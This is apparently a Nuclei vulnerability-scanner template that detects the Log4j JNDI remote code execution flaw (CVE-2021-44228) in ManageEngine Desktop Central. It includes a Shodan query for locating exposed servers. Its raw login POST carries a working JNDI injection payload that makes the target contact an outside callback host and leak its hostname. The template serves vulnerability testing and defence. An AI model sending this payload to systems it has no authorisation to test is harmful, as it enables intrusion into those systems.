id: manage-engine-dc-log4j-rce info: name: Manage Engine Desktop Central - Remote Code Execution (Apache Log4j) author: shaikhyaser severity: critical description: | Manage Engine Endpoint Central (formerly Desktop Central) is susceptible to Log4j JNDI remote code execution. Endpoint Central is a Unified Endpoint Management (UEM) & Endpoint protection suite that helps manage and secure various network devices reference: - https://pitstop.manageengine.com/portal/en/community/topic/log4j-security-issue classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 metadata: max-request: 1 shodan-query: title:"ManageEngine Desktop Central" tags: cve,cve2021,rce,jndi,log4j,manage,engine,oast,kev variables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' str: "{{rand_base(5)}}" http: - raw: - | POST /two_fact_auth HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Referer: {{RootURL}}/configurations Content-Type: application/x-www-form-urlencoded j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&j_password=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&otpTimeout=7&browserLocale=en_us&cacheNum=4&csrfPreventionSaltForFlashMessage= matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output part: interactsh_request - type: regex group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output part: interactsh_request # digest: 4b0a00483046022100d764e7744251fd005646d0bcd9c734f9a2753580ea18e8e00336e6d3a55ba7bb022100be8d729b7e98cdae21d2020d28d8df2df70b424712e5702a59cfa1761fdcd32c:922c64590222798bb761d5b6d8e72950